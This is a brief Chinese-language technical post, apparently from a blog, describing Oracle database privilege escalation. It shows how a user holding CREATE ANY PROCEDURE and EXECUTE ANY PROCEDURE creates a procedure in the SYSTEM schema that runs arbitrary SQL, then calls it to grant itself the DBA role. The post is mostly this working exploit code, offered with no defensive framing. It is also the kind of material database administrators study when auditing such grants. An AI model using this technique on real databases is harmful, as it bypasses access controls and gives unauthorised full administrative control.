提权create/execute any procedure

如果用户eygle 有角色  create any procedure  和 execute any procedure
则用户 eygle 创建并执行如下存储过程则,可以自己提权到dba角色。


create or  replace  procedure system.do(p_text  varchar2)
is
begin
execute immediate p_text;
end;
/



execute system.do('grant dba to eygle');

你可能感兴趣的:(提权)